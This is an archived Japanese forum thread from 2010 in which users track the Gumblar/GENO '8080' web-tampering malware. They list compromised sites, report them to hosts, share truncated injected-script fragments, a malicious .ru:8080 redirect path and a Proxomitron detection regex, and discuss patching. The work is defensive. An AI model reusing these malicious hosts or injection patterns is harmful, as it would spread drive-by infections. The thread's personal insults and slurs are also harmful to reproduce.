■ このスレッドは過去ログ倉庫に格納されています
【Gumblar/GENO】Web改竄ウイルス総合スレ9【8080】
- 67 ：(＇д＇) ◆yUyb3Tqn92 ：2010/05/25(火) 00:26:45
- はい釣れた(＞ｗ＜)成功！
必死にアンカまで細かく付けちゃってどしたの？笑
悔しそうな負け犬の遠吠えも見れたことだし
今夜はおやすみしちゃうね(~д~)ｚZZ←調子乗った状態で眠りにつく俺ｗ
- 68 ：あんちたった：2010/05/25(火) 00:33:42
- >>67
コイツなんでアク禁ならんだろうね
- 69 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 00:36:25
- >>67
褒めるわけじゃないが
ほんと人をムカつかせるのがうまいコテだな
その才能だけは認めてやる
だから
もう
おまえも
おやすみ
- 70 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 00:38:14
- http://www.unmaskparasites.com/
http://vurldissect.co.uk/
こちらもチェックにどうぞ
- 71 ：あんちたった：2010/05/25(火) 00:39:31
- うー
だれかおれにトリップの付け方教えてくれー
ぐぐるのやだよーう(´；ω；`)
- 72 ：あんちたった♯tesとん：2010/05/25(火) 00:40:33
- ぐぐったら
簡単だった
いでよ俺のトリップ
- 73 ：あんちたった ◆a.oH.VVCow ：2010/05/25(火) 00:41:37
- 今のなしでよろ
- 74 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 00:42:16
- >>73
なしにはならないｗｗｗｗｗｗｗ
- 75 ：あんちたった ◆a.oH.VVCow ：2010/05/25(火) 00:42:57
- >>74
しね
人のミスをそうやって鬼の首とったみたいに言うのよくないぞ
- 76 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 00:44:01
- あんちたったが頭の悪い子なのは前から知ってたけど
ここまで酷いとは
- 77 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 00:56:58
- ひでぇｗ
- 78 ：あんちたった：2010/05/25(火) 00:58:17
- 偽者乙。
俺は偽が出るのを承知であえてトリップつけてないわけだがココまでバカにされるとむかつくわ
- 79 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:04:30
- >>78
誤魔化さなくていいよｗ
トリップ付け間違い乙！ｗｗｗ
しかもむかつくとかほざくならトリップ付ければ済むことだろう
本当に馬鹿なんだな
- 80 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:10:48
- どう見ても>>72でした痛いミスを自分じゃなかったことにしたいだけだろ
>>79じゃないが、こんなことでファビョるんだったら最初から酉しとけよ
- 81 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:15:04
- 71 ：あんちたった：2010/05/25(火) 00:39:31
うー
だれかおれにトリップの付け方教えてくれー
ぐぐるのやだよーう(´；ω；`)
72 ：あんちたった♯tesとん：2010/05/25(火) 00:40:33
ぐぐったら
簡単だった
いでよ俺のトリップ
73 ：あんちたった ◆a.oH.VVCow ：2010/05/25(火) 00:41:37
今のなしでよろ
75 ：あんちたった ◆a.oH.VVCow ：2010/05/25(火) 00:42:57
>>74
しね
人のミスをそうやって鬼の首とったみたいに言うのよくないぞ
76 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 00:44:01
あんちたったが頭の悪い子なのは前から知ってたけど
ここまで酷いとは
77 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 00:56:58
ひでぇｗ
78 ：あんちたった：2010/05/25(火) 00:58:17
偽者乙。
俺は偽が出るのを承知であえてトリップつけてないわけだがココまでバカにされるとむかつくわ
- 82 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:18:22
- 酉の入力ミスした段階で素直に認めてれば笑い話で終わったのに
偽者ってことにして逃げようと必死になっちゃったことで逆に痛さを増しちゃってるよこの人
自分でむかつくとか書いちゃう性格からして、今頃、画面の前でもっとむかつてそうだなｗｗｗ
- 83 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:20:13
- >>5が罠になってるな
- 84 ：ＷＡＲＮＩＮＧ(=あんちたった) ◆MOTO.0SDfQ ：2010/05/25(火) 01:21:23
- 残念ながらトリップは既に持ってるし。
＞しかもむかつくとかほざくならトリップ付ければ済むことだろう
まさかココまでバカなキャラにされるとは思わなかったんだよ！
- 85 ：あんちたった ◆MOTO.0SDfQ ：2010/05/25(火) 01:27:17
- まぁ、なんて言い訳してもID出ない板で酉付けずにコテ名乗った俺の負けか。
- 86 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:30:18
- >>5と>>7が罠だな
- 87 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:32:20
- >>84-85
IDのあるなしは関係ない
自分の書き込み見直してどうしてこうなったかよく考えろ
お前はどれだけ自分が頭が悪いか自覚しないと治らないからｗ
- 88 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:33:02
- >>8>>9も罠
- 89 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:36:17
- >>85
お前コテ向いてないｗｗｗｗ
(＇д＇) ◆yUyb3Tqn92に弟子入りしてこいよｗｗ
コテは最低限のずる賢さと図太さがないとやってけないぞｗ
- 90 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:38:57
- あんちたったって昨日(＇д＇)に粘着してた奴じゃね？
知能レベルの低さと文体が似すぎてるからほぼ確定だろ
- 91 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:42:39
- 改竄ウイルス踏まされた奴が
その関連スレに集まるのは必然だが
そのスレにウイルス踏ませた張本人がいたとしたら！？
こうやってこのスレにコテにウイルス踏まされた奴が集まっていって
粘着住人が量産される仕組みだったりしてな
・・・・・考えすぎか
- 92 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 01:46:17
- http://www.applique-soft●com/set●html（復旧済みらしい）
こうやってちゃんと告知してくれるとありがたいな
ソネットに載ったら笑えるがww
- 93 ：あんちたった ◆MOTO.0SDfQ ：2010/05/25(火) 01:59:18
- 新スレ立ったと思ったらテンプレ改竄されてましたと？
うわぁ、悪質やなｗｗｗ
知らない人は踏んじゃうかも知れんな、顔文字の仕業か？
- 94 ：あんちたった ◆MOTO.0SDfQ ：2010/05/25(火) 01:59:58
- >>90
いや、このスレに来たのは凄く久しぶりなのだが
- 95 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 02:03:49
- >>94
いつまで見苦しい言いわけ続けるんだ
飽きたから死ね
- 96 ：あんちたった ◆MOTO.0SDfQ ：2010/05/25(火) 02:04:32
- おｋ、今後言い訳はしない。
煽りはスルーな！
- 97 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 02:06:43
- と、スルーできずにふぁびょってた奴が言っても説得力がｒｙ
はいおしまい
- 98 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 02:08:38
- >>92俺が担当者なら、告知しない方が勇気いるな
立場がもっと悪くなることもある
[「ホリプロ」サイト、ガンブラー感染公表せず : ニュース・新製品 : セキュリティー : ネット＆デジタル : YOMIURI ONLINE（読売新聞）]
http://www.yomiuri.co.jp/net/security/s-news/20100122-OYT8T00417.htm
[ガンブラー対策、 ウェブ制作会社名の公表が有効 | BPnetビズカレッジ：トレンド | nikkei BPnet 〈日経BPネット〉]
http://www.nikkeibp.co.jp/article/column/20100208/209583/?P=1
それにしてもテンプレにGENO張るのはまずいよ
やめてくれよ
- 99 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 02:17:06
- >>7は修正してトップページにちゃんと告知してますね
>>5はまだ修正されていないので、宴会予約フォームで連絡してみましたがどうなることやら…
- 100 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 06:04:07
- ところどころに散見される(＇д＇) ◆yUyb3Tqn92の自画自賛
くだらなすぎる
奴が現れる前後で書き込まれるコメには特長あるから
どんな形であっても誉めるような、意味のわからないコメは自演と見ていい
なににベクトルが向いてるのかを考えたら、浮いたコメはすぐにわかる
時間がいくらでもある廃人には勝てないので、相手する意味も価値もなし
このスレに以前から居る人はほとんど参加してないとは思うけど
- 101 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 06:08:13
- 自演のかまって乙
- 102 ：(＇д＇) ◇yUyb3Tqn92 ：2010/05/25(火) 13:08:00
- あほコテといっても中身は生身の中年なんだってな
- 103 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 13:20:14
- www●mamapapa●net
- 104 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 14:49:09
- 取扱注意
population-japan●com
shibahoru●chicappa●jp/blog/
www●konishi-chem●co●jp
- 105 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 15:02:45
- ehappy●jp
改ざんされてる通販サイトはインターネット通販止めろ
- 106 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 15:54:03
- 最近の惨状を見てLinuxとのデュアルブートを考え始めた俺ガイル
Ubuntu辺り入れてWebブラウジングは仮想ブラウザでやればウイルスとは無縁でいられるかね
- 107 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 16:01:39
- いやアプでとしとけば平気だから
それでも不安ならせいぜいスクリプトきっとけ
- 108 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 16:01:51
- Linuxだってウイルスがないわけじゃない
シロウトがマルチブートやるとろくなことにならん
- 109 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 16:05:27
- >>107
スクリプトなんてとっくに切ってるよ
- 110 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 16:06:55
- ああほんとごくろうさん
- 111 ：コテハン ◆8080adndqg ：2010/05/25(火) 16:25:28
- 【陥落サイトのURL悪用厳禁】
ama●minasan●info/
butuda●f00●jp
kadaru●mydns●to/ ←なんとかしろよｗ
↓
センセイに聞いてみた
www●google●co●jp/search?hl=ja&source=hp&q=site%3Akadaru●mydns●to%2F+-nsx+-ms
www●woman-seiwa●co●jp/ ←通販
www●ne●jp/asahi/sanya/sanpo ←絶賛放置中
unice●jp/
www●stopper-k●co●jp/
retri●jp/ ←？
- 112 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 16:54:36
- >>3>>4以上の対策はホントに気休めとか、対策やりきった後の一押し程度のレベルだった筈
とりあえず怖くなってここに初めて来たって人なら>>3>>4済ませておけば05/25現時点では大丈夫のはず。
JREは上書きアプデだと前のデータが残ってるかもしれないからコンパネで消して新しく入れ直した方が良いんだっけ？
- 113 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 17:38:44
- メーカー製PCとかでJREがプリインスコされてるのが稀にあって
そういうのはアップデートしても元から入ってる奴がこっそり残ってる、って話じゃなかったっけ
まあどちらにしろ消してから入れるってのが無難か
- 114 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 18:12:34
- コントロールパネルで消して新しいバージョンをインストールしても
firefoxのアドオンに古いバージョンが残ったままで消えない
これは無効にしてれば大丈夫なのかな
- 115 ：コテハン ◆8080adndqg ：2010/05/25(火) 18:26:25
- retri●jp/
↓
8080の下に転がってる
str="<ijbwjuics src=" + unescape(･･･
こいつは新型かな？
- 116 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 18:42:05
- >>111
＞www●ne●jp/asahi/sanya/sanpo ←絶賛放置中
ttp://www.aguse.jp/?m=w&url=www.ne.jp%2Fasahi%2Fsanya%2Fsanpo&x=55&y=17
株式会社朝日ネットから連絡してくれるそうです
電凸すると電凸貧乏になるから
折り返し連絡をくれるとたすかる
朝日ネット◎
- 117 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 18:46:22
- JREはブラウザプラグインとして呼び出されるのは
変な設定しない限り、インストールされた最新版が利用されるはずなんだけど
JRE1.xとか古いのが入ってると、そっちが呼び出されたり変な動作する可能性があるって聞いた
ttp://www.cals.jacic.or.jp/coresc/Member5/johokoukai05_06.htm
ttp://www.ebid.pref.fukui.jp/cgi-bin/blt.pl
ttp://ebid-portal.kumamoto-idc.pref.kumamoto.jp/vista.html
JRE1.xとか窓から投げ捨てろと言いたいのに
政府官庁自治体系システムはホント癌だわ
- 118 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 18:54:38
- www●belbird●com
www●my-standard●co●jp
wangnin●com
www●pasotasu●net←パソコントラブル解決？無理でしょ
www●mamapapa●net←pasotasuが作成しているサイト
- 119 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 19:23:26
- 例えば>>118
aguseでは、上から一つ目三つ目だけGumblarの疑いありの判断。
gredでは、すべてSAFEと判断。
こういったツールすらスルーするものをここで報告してる人はどうやって見つけてんの
感染してそうなサイトをしらみ潰しにソース見てるとか？
- 120 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 19:31:15
- >>119
見つけてくるんじゃなくて、自分で仕込んで
ここで晒してるだけなんだよｗ
- 121 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 20:07:35
- >>119
分からない人は知る必要がないよ
対策をちゃんとしてればいい
- 122 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 20:44:00
- 知る必要がないとか
- 123 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 20:45:02
- >>99
鯖缶から該当サイトに伝達のお返事ありました。
401になってます。
- 124 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:42:01
- >>118
一部の感染だけは認めるが後はでっち上げか
- 125 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:45:04
- Avastあたりで診断しているなら誤診か
- 126 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:47:03
- 誤診あげ
- 127 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:55:13
- 図星か
- 128 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:57:52
- >>124
全部見たわけじゃないけど
例えばpasotasuは明らかに今日修正してる
他のページは2009年のほぼ同時刻にまとめて更新されてるのに特定ページだけ今日更新
しかも発見が遅れたTOPじゃないページは4時間後に修正
原因わかってないだろうから再改ざんされる可能性が高い
top Tue, 25 May 2010 08:16:10 GMT
repair.html Tue, 25 May 2010 12:50:38 GMT
hoshu.html Wed, 29 Jul 2009 01:32:40 GMT
order.html Wed, 29 Jul 2009 01:32:47 GMT
price.html Wed, 29 Jul 2009 01:32:47 GMT
profile.html Wed, 29 Jul 2009 01:32:48 GMT
- 129 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 21:59:33
- >>128
言い訳は見苦しいな
- 130 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:12:25
- >>129
ぱそたすさん自演おつです＾＾＾＾
そんなことするより早くPCをなおしたほうがいいよ＾＾＾＾＾
- 131 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:12:33
- よくクソミソな精度で感染報告できたもんだ
- 132 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:21:44
- あること無いことをでっち上げて、三流週刊誌並みの意識だな
- 133 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:23:12
- ID出ないの不便だな
>>128は自分だけど>>118は違う人
報告されてるのを確認しただけだから探し方は知らん
pasotasuも再改ざんされればわかるだろ
見苦しい抵抗でかわいそうになるな
- 134 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:27:54
- 嘘をつくならもっと上手い嘘にしろ
- 135 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:34:18
- ローテクな検出機では、誤検出も止むを得ないか（笑）
- 136 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:34:52
- >>128-129
感染ページを確認すたのでメルポするを。
- 137 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:38:55
- >>136 ど～ん
でじろにも報告すた。
- 138 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:40:18
- 勘違いの迷惑なメールほどうざいものはない
間違いを素直に認めればいいものを
- 139 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:46:37
- 緑になりますやうに。(-人-)
ttp://online.drweb.com/result?url=%68%74%74%70%3a%2f%2f%77%77%77%2e%70%61%73%6f%74%61%73%75%2e%6e%65%74%2f%6b%6f%75%7a%61%2f%69%6e%64%65%78%2e%68%74%6d%6c
- 140 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 22:54:11
- age
- 141 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:06:02
- セキュリティ板の勢いトップのスレはこんなものか（笑）
呆れたぜ（笑笑笑）
- 142 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:07:34
- 勢いに流されるなんて、お馬鹿ですね
- 143 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:12:04
- 新たな板に移るか（笑笑笑）
- 144 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:22:00
- モレもつれてって～(笑笑笑)
- 145 ：名無しさん＠お腹いっぱい。：2010/05/25(火) 23:42:24
- この寒々しいスレを少しでも活気付ける為にも笑々しいスレにしてみせます
というのが>>141のマニフェストということか
奥が深い
- 146 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 00:36:28
- >>138
パソコン活用講座でウイルスに感染しようとは
ぱそたすさんはハイレベルおすなあ
- 147 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 02:26:57
- サンスポネット大人向けがとってもmondaybubbleなことに…
とりあえずメル凸しといた
- 148 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 03:24:19
- >>147
乙、鯖缶とサンスポとmsnにもフォームでつーほーすた。
- 149 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 04:46:48
- www.pasotasu.netさん
mamapapaはGoogleのキャッシュに残ってますよ
http://megalodon.jp/2010-0526-0434-07/web-sniffer.net/?url=http://webcache.googleusercontent.com/search?q=cache:jBiCW_fYPi0J:www.mamapapa.net/korean/
ちゃんと改竄告知したほうがプロっぽいですよ
- 150 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 05:03:06
- pasotasuも魚拓あるから
http://megalodon.jp/2010-0525-2213-39/www.dan.co.uk/viewsource/index.php?url=http%3A%2F%2Fwww%2Epasotasu%2Enet%2Fkouza%2Findex%2Ehtml
- 151 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 07:05:16
- というか、噛み付いてたのは隠蔽しようと目論んだ社員だろｗ
- 152 ：↑↑、↑↑↑：2010/05/26(水) 08:03:10
- うわっ気色悪い書き込み；知的障害者？
- 153 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 08:27:15
- pasotasu()笑
- 154 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 08:32:23
- ふぁびょんなよ双方
- 155 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 13:59:54
- ぱそたすわかりやすすぎてかわいそうになる
- 156 ：コテハン ◆8080adndqg ：2010/05/26(水) 16:13:23
- 【陥落サイトのURL悪用厳禁】
www●biz-x●jp
www●wille2●com/
allety●net ←8080 ＋ str="<ijbwjuics src=" + unescape(
www●hawaiianwalker●com/
【本日の目玉商品（違）】
www●n2p●jp/
Web制作、Webデザイン、システム開発･･
- 157 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 16:18:21
- dokuta●ehoh●net
- 158 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 16:21:39
- > www●n2p●jp/
？？？
- 159 ：コテハン ◆8080adndqg ：2010/05/26(水) 16:25:12
- ちょっと追記
www●n2p●jp/には、最下部の8080と･･･
<body id="n2p.jp" class="topBody">
<script type='text/javascript'>str="<ijbwjuics src=" + unescape(･･･
2系統が装填されておりますｗ
更に･･･
webcache●googleusercontent●com/search?q=cache:UROQ0WRKXtQJ:www●n2p●jp/
ijbwjuics src= → ない
8080 → 装填済
- 160 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 16:30:43
- aspstone-co●com/blog/
- 161 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 16:37:34
- > 最下部の8080と
？？？
- 162 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 17:31:12
- 通販サイトが改ざんされて
それを放置したままというのがありえない
まさか管理者は改ざんされたことを知らずにサイトの更新だけしているのか？
- 163 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 17:52:14
- >>161
ttp://jsunpack.jeek.org/dec/go?report=008baa3edce14258adb5e906fc5e9e8eb500897b
- 164 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 18:07:44
- 具体的にどこよ
- 165 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 20:10:22
- >>147
サンスポ本体もまずい？
- 166 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 20:31:46
- 通常JavaScriptとかFlashは切ってるんだけど
Flashクッキーってみんなどうしてる？
一応、今は切ってるんだけど
必要な際いちいち入れるの面倒でちょっと迷ってたり……
Flashクッキーが悪用される例とかってどのくらいあるん？
- 167 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 20:34:27
- アップーでとしてれば大丈夫だから
アホは考えるだけ無駄
- 168 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 20:36:12
- クッキーが何かすら分かってないんだな
- 169 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 21:05:18
- >>168
そりゃおめーだろ
- 170 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 21:36:00
- AdobeReaderを使ってなくてJava Runtime Environmentを最新版に更新してれば
Web改竄ウイルスには感染しないの？
- 171 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 21:47:06
- >>167
自分の脳みそもうｐだてしとけば？
- 172 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:14:24
- ふぁびょったか
- 173 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:20:13
- JREの残骸が消えてくれない
- 174 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:23:00
- ふぁっびょーん
- 175 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:24:06
- IDでねー板は駄目だなｗ
そもそもネタスレなのかも知れねーけどｗ
- 176 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:25:49
- JREの残骸ってJavaRaで消えるのでは？
- 177 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:42:28
- >>176
俺はアンインストールしてから
やったらきえた
- 178 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 22:43:55
- >>166
CCクリーナーで簡単に管理できるよ
おれっちは全部拒否
- 179 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:13:31
- >>178
オプション＞クッキーリストまでは辿りついたけど
操作（拒否？削除？）が分かんないっす・・・
- 180 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:25:35
- みんなやっぱFlashクッキーも切ってるのか・・・？
- 181 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:28:54
- んなわけねえだろアホらしい
- 182 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:33:06
- クッキーってテキストだろ
Flashのは違うのか
- 183 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:34:00
- HTTPリダイレクト全部弾いてるって奴もいたから何とも言えないな
人それぞれ
- 184 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:36:41
- ここレベル高けぇんだか低いんだか全く分からん……
- 185 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:48:56
- 玉石混淆
- 186 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:52:25
- >>3
以上のことはおまじないレベルだから好きにしろ
- 187 ：名無しさん＠お腹いっぱい。：2010/05/26(水) 23:58:45
- >>170
使ってないんじゃなくてアンインストールしないとだめ
- 188 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 00:05:24
- >>179
保持したいクッキーのurlを右側の欄にドラッグ＆ドロップ
拒否したい場合はなにもしなくてもOK
つまりCCクリーナーインストールした時点でクッキーは全部はじかれる
- 189 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 00:07:35
- ちなみにFlashクッキーはGumblarに関係ない
- 190 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 00:21:14
- スレチだがflash cookieについて
http://www.itmedia.co.jp/news/articles/0908/13/news017.html
- 191 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 00:52:29
- CCクリーナーではなくCｃleanerつまりCクリーナーである件について
- 192 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 01:46:35
- >>190
ありがとう。こういうものの存在すら知らなかった…
- 193 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 02:17:22
- >156 確かに目玉商品ｗ
- 194 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 08:02:52
- >>189
あるよ。
以上。
はい次の方。
- 195 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 09:05:17
- 結局ただのクッキーじゃねえか
いばりやがって
- 196 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 10:06:42
- >>118
再発？orあれからまだ気づいてない？
aguseで反応
wangnin●com/about/index●html
- 197 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 10:17:21
- gredじゃ反応せず
このスレ見てると頼ってる人が多いみたいだけど、、、
gredは反応示すことがほとんどない
どっちが正しいのかは知らんけど
- 198 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 10:44:34
- 両方試して、片方だけでも疑いが出たら危険と思う
Danさんのでソース詳しく見てみればいいよ
- 199 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 13:31:54
- >>196
tenthprofit■ru:8080/google.com/comdirect.de/macys.com.php
典型的な8080さんですね。ケツに謎のMD5ハッシュが付くのも特徴的。
- 200 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 13:58:06
- ばらの花には棘がある
www●barakai●com
- 201 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 14:28:15
- >>197
このスレ住人はソース直接見るからgredなんて頼ってないよ
お客さん向けに目安として示してるだけだよ
- 202 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 14:30:03
- >>196
放置されてるだけだね
Last-Modified: Thu, 20 May 2010 02:53:32 GMT
- 203 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 16:41:39
- >>201
PC初心者にはGENO系Gumbler系のスレが無いからねぇ
ここに縋るしかない
まぁだからってここに書いてあるURLじゃないから大丈夫とは絶対限らないんだけど
>>3>>4こなせば現状では万が一感染ページ踏んでも大丈夫だから怖がりすぎる必要は無い……筈
- 204 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 18:17:26
- www●asu-job●com
pc-telcom●com
※population-japan●com関連
- 205 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 18:17:57
- >>200
使えるねっとに問い合わせたら、こちらでは対処しかねるそうで
レンタルサーバーは安全、信頼の使えるねっとwwwww
- 206 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 18:33:05
- thinkpadのIE8でネットを閲覧していたら
ウィルスバスター2010が反応してmal gumblarを
①検出、駆除できず
②隔離できずと表示されました
こんなこと初めてです。どうすればいいのでしょう？
- 207 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 18:35:54
- URLは?
OSは
プラグインは?
ActiveXやJavaScript等の設定は?
- 208 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 19:22:48
- >>198-202
なるほど
いろいろ事情がわかるコメでした
- 209 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 19:41:49
- >>200
メル凸しときました
>>205
数日前にallety●netが陥落してたんで、つかえるネットにメル凸したら
「報告感謝、サービス停止したから確認して」って内容の返信がきたよ？
- 210 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 21:18:20
- <script>var JFZSz = document;function kGccA(pFpvv){ var ～
結果: 4/41 (9.76%)
width、height、length、style…樹を隠すには森の中ですか
>>200
>>205
「ご連絡いただきましたサイトにつきましては、弊社でも確認し
不正なスクリプトを確認させて頂きましたので、取り急ぎ
サービスの停止を行わせていただきました。」
との事
- 211 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 21:32:27
- 自分のWEBサイトへの攻撃ログ確認してたら
設置してないWordPressやらAWstatsを探そうとクロールしてるホストがあった
80番ポートが空いてたので、Dan's View Sourceで確認したら案の定「.ru:8080」があった
こういうのってボットネットワークのゾンビなのかねぇ？
- 212 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 21:34:06
- >>210
サイトは停止してないし
Gumblar判定もまだでるけど？
- 213 ：あんちたった ◆MOTO.0SDfQ ：2010/05/27(木) 22:21:38
- >>212
何を止めたんだろうねｗｗｗサーバ止めないと駄目なのにねｗｗｗ
- 214 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:49:28
- >>212
ふたりともリロード汁
制作会社のページに転送されるだろ？
- 215 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:50:15
- >>2>>3の対策すれば大丈夫っていう人と
おまじない程度っていうひとがいるね
どっちがほんとなのかは謎といったところか
- 216 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:50:59
- あ、aguseなら今ちょっと壊れてるぞ
aguse側のDNS更新されてなさそう
- 217 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:52:59
- …とおもったら、wwwのサブドメインつけると止まってねえw
糞レスしてふたりともごめん
- 218 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:53:05
- >３>４以上の
スクリプト全切とかをおまじない程度っていってんだよ
- 219 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:54:47
- いや、やっぱりDNSの更新が行き渡ってないだけだ。
http://www●barakai●com/
http://barakai●com/
止まってる。
- 220 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 22:56:49
- >>218
なるほど
わかりました
- 221 ：名無しさん＠お腹いっぱい。：2010/05/27(木) 23:06:38
- 通用するのは今だけだと思うけどProxomitronで
scriptタグ後にハッシュ値がきたら警告するようにしてます
$NEST(<script,\1</script>)\s<!--[0-9a-f]+{32}--> にマッチで置換
- 222 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 01:55:03
- ttp://www.tanteifile.com/newswatch/2010/05/27_01/image/03.jpg
ttp://www.tanteifile.com/newswatch/2010/05/27_01/image/04.jpg
- 223 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 07:40:26
- このスレでときどき
忘れていた意外な情報を得る
- 224 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 10:26:57
- 取扱注意
www●adwalk●co●jp
そういえば、とある議員のホームページも改ざんされてたな
- 225 ：名無しさん＠お腹いっぱい。：2010/05/28(金) 12:23:43
- にゃ
http://www.hds-x●com/
